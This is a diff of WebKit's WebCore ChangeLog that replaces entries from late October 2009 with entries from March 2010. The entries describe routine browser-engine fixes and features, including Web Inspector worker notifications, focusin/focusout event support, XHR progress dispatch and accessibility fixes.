-        Fix for Console not showing repeat count when repeatedly logging an Event
-        https://bugs.webkit.org/show_bug.cgi?id=30324
+        Change notification sent to inspector frontend on workers creation / destruction
+        to be posted asynchronously to avoid JS reenterability problems. Also, renamed
+        willDestroyWorker to didDestroyWorker to reflect that it gets called later and got
+        rid of explicit IDs for workers (use addresses instead).
+        https://bugs.webkit.org/show_bug.cgi?id=36213
 
-        * inspector/ConsoleMessage.cpp:
-        (WebCore::ConsoleMessage::addToConsole):
-        (WebCore::ConsoleMessage::updateRepeatCountInConsole): Added.
-        * inspector/ConsoleMessage.h:
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::didDestroyWorker):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
         * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::addConsoleMessage): Calls updateRepeatCountInConsole if it is a repeating message.
+        (WebCore::PostWorkerNotificationToFrontendTask::create):
+        (WebCore::PostWorkerNotificationToFrontendTask::PostWorkerNotificationToFrontendTask):
+        (WebCore::PostWorkerNotificationToFrontendTask::performTask):
+        (WebCore::InspectorController::postWorkerNotificationToFrontend):
+        (WebCore::InspectorController::didCreateWorker):
+        (WebCore::InspectorController::didDestroyWorker):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::):
         * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::addConsoleMessage): Renamed WebCore::InspectorFrontend::addMessageToConsole
-        (WebCore::InspectorFrontend::updateConsoleMessageRepeatCount): Added. Called when repeatCount is incremented.
+        (WebCore::InspectorFrontend::didDestroyWorker):
         * inspector/InspectorFrontend.h:
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.addMessage): Removed calls to msg.isEqual.
-        (WebInspector.ConsoleView.prototype.updateMessageRepeatCount): Added.
-        (WebInspector.ConsoleView.prototype._incrementErrorWarningCount): Added. Updates the error/warning count.
-        (WebInspector.ConsoleView.prototype.clearMessages):
-        (WebInspector.ConsoleMessage):
-        (WebInspector.ConsoleMessage.prototype.toMessageElement): Use ConsoleMessage._updateRepeatCount
-        (WebInspector.ConsoleMessage.prototype._updateRepeatCount):
-        * inspector/front-end/inspector.js:
-        (WebInspector.addConsoleMessage): Renamed WebInspector.addMessageToConsole.
-        (WebInspector.updateConsoleMessageRepeatCount): Added.
-
-2009-10-26  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        crash with AX on when an image map contains an anchor tag
-        https://bugs.webkit.org/show_bug.cgi?id=30739
-
-        Tests: accessibility/crashing-a-tag-in-map.html
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::addChildren):
-
-2009-10-26  Steve Block  <steveblock@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Adds feature ENABLE guards to V8 bindings.
-        https://bugs.webkit.org/show_bug.cgi?id=30697
-
-        This adds guards for the following features to the V8 bindings,
-        to allow builds with V8 to succeed when these features are not enabled.
-        - DATABASE
-        - WORKERS
-        - SHARED_WORKERS
-        - SVG
-        - XPATH
-        - XSLT
-        - INSPECTOR
-
-        This is a build fix only, no new tests required.
-
-        * bindings/v8/DOMObjectsInclude.h: Modified.
-        * bindings/v8/DerivedSourcesAllInOne.cpp: Modified.
-        * bindings/v8/V8Index.cpp: Modified.
-        * bindings/v8/V8Index.h: Modified.
-
-2009-10-26  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
-
-        Reviewed by Xan Lopez.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25679
-        [Gtk] Improve accessibility of focusable lists
-
-        Fixes the issues with the Atk states exposed for ListBoxOption
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (setAtkStateSetFromCoreObject):
-
-2009-10-26  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
-
-        Reviewed by Xan Lopez.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27085
-        [Gtk] Incorrect rendering of list
-
-        Adds a way for platforms to indicate that a particular object
-        should not be ignored.
-
-        * accessibility/AccessibilityObject.h:
-        * accessibility/chromium/AccessibilityObjectChromium.cpp:
-        * accessibility/gtk/AccessibilityObjectAtk.cpp:
-        * accessibility/mac/AccessibilityObjectMac.mm:
-        * accessibility/qt/AccessibilityObjectQt.cpp:
-        * accessibility/win/AccessibilityObjectWin.cpp:
-        * accessibility/wx/AccessibilityObjectWx.cpp:
-        (AccessibilityObject::accessibilityPlatformIncludesObject):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (AccessibilityRenderObject::accessibilityIsIgnored):
-
-2009-10-26  Kinuko Yasuda  <kinuko@google.com>
-
-        Reviewed by Jan Alonzo.
-
-        Bug 30619: [Linux] Menu key doesn't work
-        https://bugs.webkit.org/show_bug.cgi?id=30619
-
-        Test: manual-tests/keyboard-menukey-event.html
-        No new layout tests: testing this will require changes in the test
-        controller in a platform-specific way.
-
-        * platform/chromium/KeyCodeConversionGtk.cpp:
-        (WebCore::windowsKeyCodeForKeyEvent): changed switch-case code for
-        GDK_Menu to return VKEY_APPS instead of VKEY_MENU.
-        * platform/gtk/KeyEventGtk.cpp:
-        (WebCore::windowsKeyCodeForKeyEvent): changed switch-case code for
-        GDK_Menu to return V_APPS instead of VK_MENU.
-
-2009-10-25  Anton Muhin  <antonm@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Reuse already fetched proxy.
-        https://bugs.webkit.org/show_bug.cgi?id=30747
-
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
-
-2009-10-25  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Unreviewed build fix.
-
-        Build fix for WIN_OS if Netscape plugin support is turned off
-        https://bugs.webkit.org/show_bug.cgi?id=30753
-
-        * plugins/PluginDatabase.cpp:
-
-2009-10-25  Hironori Bono  <hbono@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        A quick fix for Bug 29103.
-        Since String::startsWith() cannot fold non-ASCII characters, this change folds the prefix string
-        and the option string before calling String::startsWith().
-        https://bugs.webkit.org/show_bug.cgi?id=29103
-
-        Tests: fast/forms/listbox-typeahead-cyrillic.html
-               fast/forms/listbox-typeahead-greek.html
-
-        * dom/SelectElement.cpp:
-        (WebCore::SelectElement::typeAheadFind):
-
-2009-10-25  Keishi Hattori  <casey.hattori@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Expanding a node in the Console should not show the element in Elements panel
-        https://bugs.webkit.org/show_bug.cgi?id=30749
-
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeElement.prototype.onmousedown): Check if inside disclosure triangle.
-
-2009-10-25  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Dan Bernstein.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=30751
-        HTMLOptionsCollection should not inherit from HTMLCollection
-
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        Added JSHTMLCollectionFunctions.h
-
-        * bindings/js/JSHTMLAllCollectionCustom.cpp:
-        (WebCore::callHTMLAllCollection):
-        (WebCore::JSHTMLAllCollection::nameGetter):
-        (WebCore::JSHTMLAllCollection::item):
-        (WebCore::JSHTMLAllCollection::namedItem):
-        * bindings/js/JSHTMLCollectionCustom.cpp:
-        (WebCore::callHTMLCollection):
-        (WebCore::JSHTMLCollection::nameGetter):
-        (WebCore::JSHTMLCollection::item):
-        (WebCore::JSHTMLCollection::namedItem):
-        * bindings/js/JSHTMLOptionsCollectionCustom.cpp:
-        (WebCore::callHTMLCollection):
-        (WebCore::JSHTMLOptionsCollection::getCallData):
-        (WebCore::JSHTMLOptionsCollection::canGetItemsForName):
-        (WebCore::JSHTMLOptionsCollection::nameGetter):
-        (WebCore::JSHTMLOptionsCollection::indexSetter):
-        (WebCore::JSHTMLOptionsCollection::item):
-        (WebCore::JSHTMLOptionsCollection::namedItem):
-        Refactor to use generic implementation of HTMLCollection bindings functions
-        from JSHTMLCollectionFunctions.h
-
-        * bindings/js/JSHTMLCollectionFunctions.h: Added.
-        (WebCore::getCollectionNamedItems):
-        (WebCore::getCollectionItems):
-        (WebCore::callHTMLCollectionGeneric):
-        Added generic functions that JSHTMLCollection, JSHTMLAllCollection and
-        JSHTMLOptionsCollection can all use.
-
-        * bindings/js/JSHTMLDocumentCustom.cpp: Add include of JSHTMLAllCollection.h
-        for toJS on document.all.
-
-        * bindings/objc/DOMHTML.mm:
-        * bindings/objc/DOMUtility.mm:
-        (JSC::createDOMWrapper):
-        Remove special cases for HTMLOptionsCollection.
-
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * html/HTMLAllCollection.idl:
-        * html/HTMLCollection.idl:
-        * html/HTMLOptionsCollection.idl:
-
-2009-10-24  Keishi Hattori  <casey.hattori@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Fixed issue with IME inside console
-        https://bugs.webkit.org/show_bug.cgi?id=30660
-
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype._promptKeyDown):
-        * inspector/front-end/DatabaseQueryView.js:
-        (WebInspector.DatabaseQueryView.prototype._promptKeyDown):
-        * inspector/front-end/inspector.js:
-        (WebInspector.loaded):
-        (WebInspector.searchKeyDown): Moved performSearch here from WebInspector.searchKeyUp.
-        (WebInspector.startEditing.element.handleKeyEvent):
-        (WebInspector.startEditing):
-        * inspector/front-end/utilities.js:
-        (isEnterKey): Added. Check if in IME.
-
-2009-10-24  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30752>.
-        Web Inspector: Multiple Selection on Scope Bars by default Conflicts with other behavior on OSX.
-        
-        Have the scope bars select one scope by default, but if the multiple selection key
-        is pressed, allow for multiple selection.
-
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView):
-        (WebInspector.ConsoleView.prototype._updateFilter):
-        (WebInspector.ConsoleView.prototype.filter):
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel):
-        (WebInspector.ResourcesPanel.prototype.filter):
-        (WebInspector.ResourcesPanel.prototype._updateFilter):
-
-2009-10-24  Timothy Hatcher  <timothy@apple.com>
-
-        Make the scope bars in the Web Inspector match other scope bars in Mac OS X.
-        Also cleans up the CSS to use classes instead of ID selectors.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28186
-
-        Reviewed by Dan Bernstein.
-
-        * inspector/front-end/ResourcesPanel.js: Add the scope-bar class.
-        * inspector/front-end/inspector.css: Lots of changes to make it look right.
-        * inspector/front-end/inspector.html: Add the scope-bar class.
-
-2009-10-24  Timothy Hatcher  <timothy@apple.com>
-
-        Fix selecting Resources in the Web Inspector's Resources panel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30743
-
-        Reviewed by Pavel Feldman.
-
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel.prototype.isCategoryVisible): Added.
-        (WebInspector.ResourceSidebarTreeElement.prototype.get selectable): Call
-        isCategoryVisible on the ResourcesPanel.
-
-2009-10-24  Timothy Hatcher  <timothy@apple.com>
-
-        Fix the Scope Bar in the Web Inspector's Resource panel, so that selecting
-        All will deselect the other filters.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30744
-
-        Reviewed by Pavel Feldman.
-
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel.createFilterElement): Better syntax.
-        (WebInspector.ResourcesPanel):
-        (WebInspector.ResourcesPanel.prototype.filter): Use a normal for loop,
-        and the child variable instead of target in the loop. Other clean up.
-
-2009-10-24  Timothy Hatcher  <timothy@apple.com>
-
-        Make resizing the Web Inspector's Elements panel sidebar work again.
-        Also makes Resources panel use the sidebar code in Panel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30742
-
-        Reviewed by Pavel Feldman.
-
-        * inspector/front-end/Panel.js:
-        (WebInspector.Panel): Don't create the sidebar with an argument.
-        (WebInspector.Panel.prototype.show): Call updateSidebarWidth.
-        (WebInspector.Panel.prototype.handleKeyEvent): Call handleSidebarKeyEvent.
-        (WebInspector.Panel.prototype.handleSidebarKeyEvent): Added.
-        (WebInspector.Panel.prototype.createSidebar): Renamed from _createSidebar.
-        (WebInspector.Panel.prototype._sidebarDragging): Call updateSidebarWidth.
-        (WebInspector.Panel.prototype.updateSidebarWidth): Renamed from _updateSidebarWidth.
-        (WebInspector.Panel.prototype.setSidebarWidth): Added. Called by updateSidebarWidth.
-        (WebInspector.Panel.prototype.updateMainViewWidth): Renamed from setMainViewWidth.
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel): Call createSidebar.
-        (WebInspector.ProfilesPanel.prototype.updateMainViewWidth): Renamed from setMainViewWidth.
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel.prototype.show): Remove call to _updateSidebarWidth.
-        (WebInspector.ResourcesPanel.prototype.showResource): Call updateSidebarWidth
-        (WebInspector.ResourcesPanel.prototype.closeVisibleResource): Ditto.
-        (WebInspector.ResourcesPanel.prototype.setSidebarWidth): Added.
-        (WebInspector.ResourcesPanel.prototype.updateMainViewWidth): Added.
-        * inspector/front-end/StoragePanel.js:
-        (WebInspector.StoragePanel): Call createSidebar.
-        (WebInspector.StoragePanel.prototype.updateMainViewWidth): Renamed from setMainViewWidth.
-        * inspector/front-end/TimelinePanel.js:
-        (WebInspector.TimelinePanel): Call createSidebar.
-        (WebInspector.TimelinePanel.prototype.updateMainViewWidth): Renamed from setMainViewWidth.
-
-2009-10-24  Timothy Hatcher  <timothy@apple.com>
-
-        Call updateSelection() in a few places so hovering in the Web Inspector's
-        Elements panel always has the correct row selection height.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30735
-
-        Reviewed by Pavel Feldman.
-
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeElement.prototype.toggleNewAttributeButton): Call updateSelection().
-        (WebInspector.ElementsTreeElement.prototype._insertInLastAttributePosition): Ditto.
-        * inspector/front-end/inspector.css: Prevent text wrapping in the middle of the add attribute text.
-
-2009-10-24  Timothy Hatcher  <timothy@apple.com>
-
-        Remove the re-root tree feature from the Web Inspector's
-        Elements panel. This feature wasn't super useful and gets
-        in the way of double-click to edit.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30736
-
-        Reviewed by Pavel Feldman.
-
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeElement.prototype.ondblclick):
-
-2009-10-24  Anton Muhin  <antonm@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Implements ReturnsNew hint for V8 bindings generation code.
-        https://bugs.webkit.org/show_bug.cgi?id=30745
-
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/V8DOMWrapper.h:
-        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
+        * inspector/InspectorWorkerResource.h:
+        (WebCore::InspectorWorkerResource::create):
+        (WebCore::InspectorWorkerResource::id):
+        (WebCore::InspectorWorkerResource::InspectorWorkerResource):
+        * inspector/front-end/InjectedFakeWorker.js:
+        (InjectedFakeWorker.FakeWorker.prototype.terminate):
+        * inspector/front-end/WorkersSidebarPane.js:
+        (WebInspector.didDestroyWorker):
+        * workers/AbstractWorker.cpp:
+        (WebCore::AbstractWorker::AbstractWorker):
+        (WebCore::AbstractWorker::onDestroyWorker):
+        * workers/AbstractWorker.h:
+        (WebCore::AbstractWorker::asID):
+        * workers/SharedWorker.cpp:
+        (WebCore::SharedWorker::SharedWorker):
+        * workers/Worker.cpp:
+        (WebCore::Worker::Worker):
 
-2009-10-24  Dan Bernstein  <mitz@apple.com>
+2010-03-22  David Hyatt  <hyatt@apple.com>
 
         Reviewed by Sam Weinig.
 
-        Missing images at 350.org due to wrong URLs
-        https://bugs.webkit.org/show_bug.cgi?id=30748
-
-        Test: fast/dom/HTMLImageElement/parse-src.html
-
-        * dom/Element.cpp:
-        (WebCore::Element::getURLAttribute): Pass the attribute value through deprecateParseURL().
-        This matches what the Objective-C bindings do, as well as what HTMLImageLoader::sourceURI()
-        and SVGImageLoader::sourceURI() do.
-
-2009-10-24  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+        https://bugs.webkit.org/show_bug.cgi?id=36266, support DOM Level 3 focusin/focusout events.  Add support for
+        IE onfocusin/onfocusout extensions to HTML.  The old DOM level 2 names (DOMFocusIn/DOMFocusOut are still supported).
 
-        Unreviewed.
-
-        [Qt] Build fix for QtWebKit after r50013.
-
-        * WebCore.pro:
-
-2009-10-24  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, build fix.
-
-        [V8] Fix up to accommodate for HTMLAllCollection changes in
-        http://trac.webkit.org/changeset/49998.
+        Added fast/events/focusinout.html
 
-        * WebCore.gypi:
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        * dom/Document.cpp:
+        (WebCore::Document::setFocusedNode):
+        * dom/Event.cpp:
+        (WebCore::Event::aliasedType):
+        (WebCore::Event::hasAliasedType):
+        * dom/Event.h:
+        * dom/EventNames.h:
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::fireEventListeners):
+        * dom/EventTarget.h:
+        * dom/Node.cpp:
+        (WebCore::Node::dispatchUIEvent):
+        * html/HTMLAttributeNames.in:
+        * html/HTMLButtonElement.cpp:
+        (WebCore::HTMLButtonElement::parseMappedAttribute):
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::parseMappedAttribute):
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLTextFormControlElement::parseMappedAttribute):
+        * html/HTMLFrameSetElement.cpp:
+        (WebCore::HTMLFrameSetElement::parseMappedAttribute):
+        * html/HTMLSelectElement.cpp:
+        (WebCore::HTMLSelectElement::parseMappedAttribute):
+        * svg/SVGElement.cpp:
+        (WebCore::SVGElement::parseMappedAttribute):
 
-2009-10-23  Dan Bernstein  <mitz@apple.com>
+2010-03-23  MORITA Hajime  <morrita@google.com>
 
         Reviewed by Alexey Proskuryakov.
 
-        <rdar://problem/7294131> Assertion failure in AuthenticationMac at
-        mac(const Credential&) after authenticating to MobileMe Gallery movie
-
-        * platform/network/Credential.cpp:
-        (WebCore::Credential::Credential): Initialize m_persistence.
-        (WebCore::Credential::isEmpty): Made this method const.
-        * platform/network/Credential.h:
-        * platform/network/mac/AuthenticationMac.mm:
-        (WebCore::mac): Return nil if the Credential is empty.
-
-2009-10-23  Brian Weinstein  <bweinstein@apple.com>
+        WebCore::SelectionController::setSelection NULL pointer
+        https://bugs.webkit.org/show_bug.cgi?id=31545
 
-        Reviewed by Timothy Hatcher.
+        Added missing NULL-check that other APIs have.
 
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30617>.
-        Web Inspector: Resources Scope Bar Should Allow Combinations.
-        
-        Refactor the filtering in ResourcePanel to make it match ConsoleView,
-        and add a divider between All, and the other choices of Resource types.
+        Test: svg/dom/frame-related-api-during-load.html
 
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel):
-        (WebInspector.ResourcesPanel.prototype.filter):
-        (WebInspector.ResourcesPanel.prototype._updateFilter):
-        * inspector/front-end/inspector.css:
-
-2009-10-23  Chris Evans  <cevans@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Ignore the Refresh header if we're in view source mode.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27239
-
-        Test: http/tests/security/view-source-no-refresh.html
-
-        * loader/FrameLoader.cpp: ignore Refresh in view-source mode.
-
-2009-10-23  Alexey Proskuryakov  <ap@apple.com>
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::deselectAll):
 
-        Reviewed by Sam Weinig.
+2010-03-23  Qi Zhang  <qi.2.zhang@nokia.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30734
-        Remove XMLTokenizer::m_currentNodeIsReferenced
+        Reviewed by Simon Hausmann.
 
-        No change in behavior, no tests.
+        [Qt] LayoutTests/fast/canvas/fillrect_gradient.html failed
+        https://bugs.webkit.org/show_bug.cgi?id=36444
 
-        * dom/XMLTokenizer.cpp:
-        (WebCore::XMLTokenizer::setCurrentNode):
-        * dom/XMLTokenizer.h:
-        Don't store a boolean for the current node being the document - we can always check for that.
+        Handle duplicated or unsorted colorStop at platformDestory
 
-        * dom/XMLTokenizerLibxml2.cpp:
-        (WebCore::XMLTokenizer::XMLTokenizer):
-        * dom/XMLTokenizerQt.cpp:
-        (WebCore::XMLTokenizer::XMLTokenizer):
-        A fragment passed to XMLTokenizer is never null - in fact, the first thing we do is dereference
-        it unconditionally, and then begin checking it for null, as if it could help.
+        * platform/graphics/qt/GradientQt.cpp:
+        (WebCore::Gradient::platformGradient):
 
-2009-10-23  Beth Dakin  <bdakin@apple.com>
+2010-03-23  Julien Chaffraix  <jchaffraix@webkit.org>
 
-        No review since this is a build fix.
+        Unreviewed build fix.
 
-        Build fix for the Mac. (Build is only broken when SVG filters are 
-        enabled.)
+        Try to make the window buildbot happy.
 
-        Labelled these function static.
-        * platform/graphics/filters/FEComponentTransfer.cpp:
-        (WebCore::identity):
-        (WebCore::table):
-        (WebCore::discrete):
-        (WebCore::linear):
-        (WebCore::gamma):
-        * platform/graphics/filters/FEGaussianBlur.cpp:
-        (WebCore::boxBlur):
+        * xml/XMLHttpRequestProgressEventThrottle.cpp:
+        * xml/XMLHttpRequestProgressEventThrottle.h: Move initialization of the
+        static const in the cpp file.
 
-2009-10-23  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-23  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Web Inspector: Implement a Timeline panel.
+        Web Inspector: make gear menu appear on styles panel at all times.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30725
+        https://bugs.webkit.org/show_bug.cgi?id=36490
 
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * inspector/front-end/Images/timelineIcon.png: Added.
-        * inspector/front-end/TimelineAgent.js:
-        (WebInspector.addItemToTimeline):
-        (WebInspector.timelineProfilerWasStarted):
-        (WebInspector.timelineProfilerWasStopped):
-        * inspector/front-end/TimelinePanel.js: Added.
-        (WebInspector.TimelinePanel):
-        (WebInspector.TimelinePanel.prototype.toolbarItemClass.get toolbarItemLabel):
-        (WebInspector.TimelinePanel.prototype.get statusBarItems):
-        (WebInspector.TimelinePanel.prototype.handleKeyEvent):
-        (WebInspector.TimelinePanel.prototype.timelineWasStarted):
-        (WebInspector.TimelinePanel.prototype.timelineWasStopped):
-        (WebInspector.TimelinePanel.prototype.addItemToTimeline):
-        (WebInspector.TimelinePanel.prototype._innerAddItemToTimeline):
-        (WebInspector.TimelinePanel.prototype._toggleTimelineButton):
-        (WebInspector.TimelinePanel.prototype.setMainViewWidth):
-        (WebInspector.TimelinePanel.prototype.getItemTypeName):
-        (WebInspector.TimelineRecordTreeElement):
-        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
-        * inspector/front-end/WebKit.qrc:
         * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.html:
-        * inspector/front-end/inspector.js:
-        (WebInspector._createPanels):
 
-2009-10-23  Joseph Pecoraro  <joepeck@webkit.org>
+2010-03-23  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Web Inspector: Clash Between Search's onkeyup and incremental search events
-        https://bugs.webkit.org/show_bug.cgi?id=30731
-
-        * inspector/front-end/inspector.js:
-        (WebInspector.performSearch): prevent incremental search event from clobbering a forced search
-
-2009-10-23  Kelly Norton  <knorton@google.com>
-
-        Reviewed by Pavel Feldman.
-
-        Removes the need for C++ Timeline types in InspectorTimelineAgent in favor
-        of ScriptObjects.
-        https://bugs.webkit.org/show_bug.cgi?id=30707
-
-        * GNUmakefile.am:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * inspector/DOMDispatchTimelineItem.cpp: Removed.
-        * inspector/DOMDispatchTimelineItem.h: Removed.
-        * inspector/InspectorTimelineAgent.cpp:
-        (WebCore::InspectorTimelineAgent::InspectorTimelineAgent):
-        (WebCore::InspectorTimelineAgent::willDispatchDOMEvent):
-        (WebCore::InspectorTimelineAgent::didDispatchDOMEvent):
-        (WebCore::InspectorTimelineAgent::willLayout):
-        (WebCore::InspectorTimelineAgent::didLayout):
-        (WebCore::InspectorTimelineAgent::willRecalculateStyle):
-        (WebCore::InspectorTimelineAgent::didRecalculateStyle):
-        (WebCore::InspectorTimelineAgent::willPaint):
-        (WebCore::InspectorTimelineAgent::didPaint):
-        (WebCore::InspectorTimelineAgent::willWriteHTML):
-        (WebCore::InspectorTimelineAgent::didWriteHTML):
-        (WebCore::InspectorTimelineAgent::reset):
-        (WebCore::InspectorTimelineAgent::didCompleteCurrentRecord):
-        (WebCore::InspectorTimelineAgent::pushCurrentTimelineItem):
-        * inspector/InspectorTimelineAgent.h:
-        (WebCore::InspectorTimelineAgent::TimelineItemEntry::TimelineItemEntry):
-        * inspector/TimelineItem.cpp: Removed.
-        * inspector/TimelineItem.h: Removed.
-        * inspector/TimelineItemFactory.cpp: Added.
-        (WebCore::TimelineItemFactory::createGenericTimelineItem):
-        (WebCore::TimelineItemFactory::createDOMDispatchTimelineItem):
-        * inspector/TimelineItemFactory.h: Added.
-        (WebCore::):
-        (WebCore::TimelineItemFactory::TimelineItemFactory):
-
-2009-10-23  Gavin Barraclough  <barraclough@apple.com>
-
-        Reviewed by Geoff Garen.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30729
-        Provide private API to request the global context for a specific world.
-        Used to initialize parameters on the global object.
-
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::globalObject):
-        * bindings/js/ScriptController.h:
-
-2009-10-23  Steve Block  <steveblock@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Fixes style problems in Android-specific files.
-        https://bugs.webkit.org/show_bug.cgi?id=30717
-
-        Style changes only, no new tests possible.
-
-        * page/android/EventHandlerAndroid.cpp: Modified.
-        (WebCore::EventHandler::passMouseDownEventToWidget): Fixes whitespace in method signature.
-        (WebCore::EventHandler::passSubframeEventToSubframe): Fixes whitespace in method signature.
-        (WebCore::EventHandler::passWheelEventToWidget): Fixes whitespace in method signature.
-        (WebCore::EventHandler::passMouseMoveEventToSubframe): Fixes whitespace in method signature.
-        * platform/android/ClipboardAndroid.h: Modified. Fixes header include order and indenting.
-        * platform/android/CursorAndroid.cpp: Modified. 
-        (WebCore::grabCursor): Fixes function braces.
-        (WebCore::grabbingCursor): Fixes function braces.
-        * platform/android/FileChooserAndroid.cpp: Modified.
-        (WebCore::FileChooser::basenameForWidth): Fixes braces on while statement, and updates String::copy to String::threadsafeCopy.
-        * platform/android/FileSystemAndroid.cpp: Modified. Fixes header include order.
-        (WebCore::unloadModule): Fixes zero test.
-        (WebCore::writeToFile): Fixes if statement structure.
-        * platform/android/KeyEventAndroid.cpp: Modified.
-        (WebCore::windowsKeyCodeForKeyEvent): Fixes switch statement indenting.
-        (WebCore::keyIdentifierForAndroidKeyCode): Fixes switch statement indenting.
-        * platform/android/ScreenAndroid.cpp: Modified. Fixes header include order and switch statement indenting.
-        * platform/android/TemporaryLinkStubs.cpp: Modified. Fixes header include order.
-
-2009-10-23  Sam Weinig  <sam@webkit.org>
-
-        Another shot at a fixed build.
-
-        * DerivedSources.cpp:
-
-2009-10-23  Sam Weinig  <sam@webkit.org>
-
-        Another shot at a fixed build.
+        Web Inspector: render nodes in inherited style bars as links.
 
-        * html/HTMLOptionsCollection.idl:
+        https://bugs.webkit.org/show_bug.cgi?id=36486
 
-2009-10-23  Brady Eidson  <beidson@apple.com>
-
-        50,000!
-
-        * ChangeLog: Point out revision 50,000.
-
-2009-10-23  Sam Weinig  <sam@webkit.org>
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/BreakpointsSidebarPane.js:
+        (WebInspector.BreakpointsSidebarPane.prototype._appendBreakpointElement.breakpointClicked):
+        (WebInspector.BreakpointsSidebarPane.prototype._appendBreakpointElement):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype._update.else.insertInheritedNodeSeparator):
+        (WebInspector.StylesSidebarPane.prototype._update):
+        (WebInspector.StylesSidebarPane.prototype._selectNode):
+        * inspector/front-end/inspector.js:
 
-        Reviewed by Anders Carlsson.
+2010-03-23  Julien Chaffraix  <jchaffraix@webkit.org>
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=30695
-        Drop .tags() support from HTMLCollection
+        Reviewed by Alexey Proskuryakov.
 
-        - Make .tags() only work for HTMLAllCollections in JS. .tags() is still
-          available for all HTMLCollection like objects in Objective-C since that
-          is API.
-        - Auto-generate HTMLAllCollection.
+        [XHR] onProgress event needs to be dispatched according to what the specification states
+        https://bugs.webkit.org/show_bug.cgi?id=18654
 
-        Test: fast/dom/HTMLDocument/document-all.html
+        Test: http/tests/xmlhttprequest/xmlhttprequest-50ms-download-dispatch.html
 
-        * DerivedSources.make:
+        * Android.mk:
         * GNUmakefile.am:
         * WebCore.gypi:
         * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSHTMLAllCollection.cpp: Removed.
-        * bindings/js/JSHTMLAllCollection.h: Removed.
-        * bindings/js/JSHTMLAllCollectionCustom.cpp: Added.
-        (WebCore::getNamedItems):
-        (WebCore::callHTMLAllCollection):
